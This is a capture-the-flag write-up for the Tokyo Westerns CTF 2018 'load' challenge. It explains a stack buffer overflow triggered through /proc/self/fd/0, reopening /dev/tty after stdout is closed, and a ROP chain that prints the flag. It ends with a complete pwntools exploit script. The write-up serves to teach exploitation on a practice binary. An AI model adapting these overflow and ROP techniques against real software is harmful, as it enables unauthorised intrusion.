Tokyo Westerns CTF 2018 - load

10th Jul 2024
2 min read
Tags:
ctf,
pwnable,
improper check,
bof,
file descriptor,
/dev/tty

0x00. Introduction

[*] '/home/user/load'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

0x01. Vulnerability

int __fastcall load_file_4008FD(void *buf, const char *file_name, __off_t offset, size_t size)
{
  int fd; // [rsp+2Ch] [rbp-4h]

  fd = open(file_name, 0);
  if ( fd == -1 )
    return puts("You can't read this file...");
  lseek(fd, offset, 0);
  if ( read(fd, buf, size) > 0 )
    puts("Load file complete!");
  return close(fd);
}

Looking at load_file_4008FD(), it opens the input file name, reads size bytes of content, and writes it to the buf variable in main().

If we manipulate file_name to be /proc/self/fd/0, instead of reading file contents, it reads from stdin and writes to buf.

  char buf[32]; // [rsp+0h] [rbp-30h] BYREF
  size_t size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

The buf in main() is located at rbp-0x30 and we can input size as much as we want, so a BOF vulnerability occurs.

0x02. Exploit

Since there’s a BOF vulnerability, I tried to do a libc leak, but strangely neither puts() nor _printf_chk() which have PLT entries produced any output.

So I debugged and confirmed that the return value of puts() was -1, indicating that some error had occurred. While searching for when such errors occur, I found information that this can happen when there’s a problem with stdout, then I found…

int close_4008D8()
{
  close(0);
  close(1);
  return close(2);
}

After load_file_4008FD() ends and before main() terminates, a function called close_4008D8() is called, which closes stdout. So after diligent googling, I learned that we can revive stdout by opening /dev/tty.

The problem was where to place /dev/tty and pass it to open(). During the process of putting /proc/self/fd/0 in file_name to trigger the BOF vulnerability, I thought I could add a \x00 and pass /dev/tty.

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

I confirmed that putting the above payload 3 times in the ROP chain created 0, 1, and 2 in /proc/self/fd/ in order.

Although I succeeded in leaking this way, even after reviving stdin, I failed to send the next payload. So my concern was that even if I leaked, I couldn’t provide the next input, so I needed to give input at once to open -> read -> write the flag all at once, but there’s no rdx related gadget.

Which means I can’t control size, the third argument of read, so after doing open("flag", 'r'); I had to pray that the rdx value would be large enough to read the contents… When I actually checked, the rdx value after open finished was 0.

I spent a long time thinking about how to output…

  load_file_4008FD(buf, byte_601040, offset, size);

Fortunately, there was a function in the code section that performs the same logic!

rdi: Using pop rdi; ret; gadget, byte_601040 which is a free space
rsi: Using pop rsi; pop r15; ret; gadget, location of flag inserted when triggering BOF
rdx: 0 after open finishes
rcx: 0x7ffff7e9e53b after open finishes (sufficiently large value)

By controlling the registers this way, I was able to output the flag.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "load"
LIBRARY = "libc.so.6"

pr = 0x0000000000400a73
ppr = 0x0000000000400a71
bp = {
    'read_of_load_file' : 0x400966,
    'main' : 0x400817,
    'end_of_main' : 0x4008A8,
    'close' : 0x4008D8,
    'read_str' : 0x400986,
    'file_name' : 0x601040,
    'load_file' : 0x4008FD,
}

gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def send_msg(s, msg):
    print(s.recvuntil(b": "))
    s.sendline(msg.encode())

def main():
    if(len(sys.argv) > 1):
        s = process(BINARY)
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    send_msg(s, "/proc/self/fd/0\x00/dev/tty\x00flag\x00")
    send_msg(s, "0")
    send_msg(s, "1024")

    payload = b"A" * 0x30
    payload += b"B" * 8

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

    # open 3 times -> open 0, 1, 2
    payload += payload_open * 3

    # load_file_4008FD(byte_601040, "flag", offset, size)
    payload += p64(ppr)
    payload += p64(bp['file_name'] + 0x19)      # pop rsi
    payload += p64(0)                           # pop r15
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(bp['load_file'])

    # puts(byte_601040)
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(elf.plt['puts'])

    log.info(f"payload length : {hex(len(payload))}")
    s.sendline(payload)
    pause()
    print(s.recv().split(b"\n")[2])

if __name__=='__main__':
    main()

Tokyo Westerns CTF 2018 - load

Table of Contents

0x00. Introduction

0x01. Vulnerability

0x02. Exploit

0x03. Payload